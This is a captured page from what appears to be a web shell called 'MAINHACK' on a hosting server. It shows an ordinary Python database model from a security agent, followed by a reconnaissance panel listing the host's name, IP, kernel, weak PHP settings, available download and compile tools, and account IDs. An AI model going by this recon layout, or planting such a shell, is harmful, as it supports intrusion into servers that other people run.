[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: messages_to_send.py
File is not writable. Editing disabled.
from collections import namedtuple from peewee import FloatField, BlobField from defence360agent.model import instance, Model class MessageToSend(Model): """ Storage for messages to be sent to server while connection to server is not available """ class Meta: database = instance.db db_table = "messages_to_send" #: When the message was added to the queue to be sent to the server. timestamp = FloatField(null=False) #: The message itself. message = BlobField(null=False) MessageToSendT = namedtuple("MessageToSendT", "timestamp message") @classmethod def get_oldest(cls, limit=1): old = cls.select().order_by(cls.timestamp).limit(limit) return old @classmethod def delete_in(cls, query): q = cls.delete().where(cls.id.in_(query)) return q.execute() @classmethod def delete_old(cls, limit=1): old = cls.select().order_by(cls.timestamp).limit(limit) q = cls.delete().where(cls.id.in_(old)) return q.execute() @classmethod def insert_many(cls, rows, **kwargs) -> None: # sqlite may have internal limit of variables-per-query for i in range(0, len(rows), 100): data = [ cls.MessageToSendT(*row)._asdict() for row in rows[i:i + 100] ] super().insert_many(data, **kwargs).execute()
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 691.06 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: N/A